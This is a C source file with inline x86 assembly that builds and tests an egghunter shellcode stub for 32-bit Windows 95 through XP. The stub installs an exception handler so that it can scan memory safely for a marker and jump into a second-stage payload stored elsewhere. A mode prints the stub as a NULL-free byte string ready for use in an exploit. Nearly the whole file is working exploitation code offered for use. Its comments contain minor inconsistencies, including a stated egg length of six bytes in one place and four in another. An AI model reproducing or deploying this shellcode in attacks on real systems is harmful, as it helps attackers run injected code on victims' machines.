/*
 * Generic egghunt shellcode for win32
 *
 * Description:
 *
 *    Searches memory for an egg.  This is useful when you have limited
 *    space for shellcode, but can store more shellcode elsewhere in memory,
 *    yet you don't know exactly where it will be at.
 *
 * Targets:
 *
 *    95/98/ME/NT/2K/XP
 *
 * Usage:
 *
 *    $ egghunt.exe
 *    Usage: egghunt.exe [test | cstyle] [6 byte hex egg]
 *    
 *    To generate usable code (with an egg of 41 42 41 42 41 42):
 *
 *    $ egghunt.exe cstyle 41 42 41 42 41 42
 *
 *    To test the code:
 *
 *    $ egghunt.exe test
 *
 * Features/Quirks:
 *
 *    * No NULLs.
 *
 * Disclaimer:
 *
 *    The author cannot be held responsible for how this code is used.
 *
 * Compile:
 *
 *    cl egghunt.c /link /debug
 *
 * skape
 * mmiller@hick.org
 */
/*
 * Technical notes
 *
 * This egg hunter establishes an exception handler that silently ignores
 * invalid addresses and skips over them.  
 *
 */
#include <stdio.h>

#define EGG_OFFSET       0x4
#define SET_EGG(sc, egg) *(unsigned long *)((sc) + EGG_OFFSET) = (egg)

void __declspec(naked) egghunt_begin()
{
	__asm
	{
	
		egghunt:
			jmp   get_exception_handler

		startup:
			pop   ecx                          // Set ecx to the exception handler
			mov   eax, 0x42904290              // Set ecx to the egg that's being searched for
			push  ecx                          // Our handler
			__emit 0x6a                        // push byte -0xff
			__emit 0xff
			xor   ebx, ebx                     // Zero ebx
			mov   fs:[ebx], esp                // Establish our exception handler

		search_loop_begin_pre:
		search_loop_start:
			push  0x2                          // push byte +0x2
			pop   ecx                          // pop ecx
			mov   edi, ebx                     // Set edi to ebx
			repe  scasd                        // Repeat twice and compare edi and edi+4 to eax
			jnz   search_loop_failed_one       // If ZF is not set our comparison was unsuccessful, jump again
			jmp   edi                          // Jump into it
		search_loop_failed_page:
			or    bx, 0x0fff                   // or ebx with PAGE_SIZE-1
		search_loop_failed_one:
			inc   ebx                          // Increment it to the next pointer
			jmp   search_loop_start            // Repeat our loop
	
		get_exception_handler:
			call  startup                      // Call backwards to get the exception handler's address
		exception_handler:
			__emit 0x6a                        // push byte +0xc
			__emit 0x0c
			pop   ecx                          // ecx = 0xc
			mov   eax, [esp + ecx]             // Get the context argument
			mov   cl, 0xb8                     // ecx = 0xb8
			add   dword ptr [eax + ecx], 0x06  // Add 7 to the eip where the exception occured
			pop   eax                          // Grab ret off the stack
			add   esp, 0x10                    // Pop off the argument to our exception handler
			push  eax                          // Push back the actual return address
			xor   eax, eax                     // Return zero
			ret                                // Return back
	}
}

void __declspec(naked) egghunt_end()
{
	// These first 6 bytes make up our egg
	__asm
	{
		__emit 0x90
		__emit 0x42
		__emit 0x90
		__emit 0x42
		__emit 0x90
		__emit 0x42
		__emit 0x90
		__emit 0x42
	}

	printf("Egg has been found.\n");

	exit(0);
}

void __declspec(naked) egghunt_end_end()
{
	__asm ret
}

int main(int argc, char **argv)
{
	if (argc == 1)
	{
		fprintf(stdout, "Usage: %s [test | cstyle] [4 byte egg hex (eg: 0x41424142)]\n", argv[0]);
		return 0;
	}

	if (!strcmp(argv[1], "test"))
		egghunt_begin();
	else if (!strcmp(argv[1], "cstyle"))
	{
		unsigned char *start = (unsigned char *)((unsigned char *)egghunt_begin);
		unsigned char *stop  = (unsigned char *)((unsigned char *)egghunt_end);
		unsigned char *copy  = NULL;
		unsigned char *c     = NULL;
		unsigned long x      = 0, length, y = 0, egg = 0x50905090;

		// Calculate the actual address in memory of the begin/end function based off their relative jmp points.
		start   += *(unsigned long *)((unsigned char *)egghunt_begin + 1) + 5;
		stop    += *(unsigned long *)((unsigned char *)egghunt_end + 1) + 5;
		length   = stop - start;

		if (!(copy = (unsigned char *)malloc(length)))
		{
			printf("allocation failed\n");
			return 0;
		}

		memcpy(copy, start, length);

		if (argc >= 3)
			egg = strtoul(argv[2], NULL, 16);

		SET_EGG(copy, egg);

		fprintf(stdout, "// %lu byte egghunt shellcode (egg=0x%.8x)\n\n", length, egg);
		fprintf(stdout, "unsigned char egghunt[] = \"");

		for (x = 0;
		     x < length;
		     x++)
			fprintf(stdout, "\\x%2.2x", copy[x]);

		fprintf(stdout, "\";\n\n");

		free(copy);
	}
	else
		fprintf(stdout, "%s: invalid option\n", argv[0]);

	return 1;
}
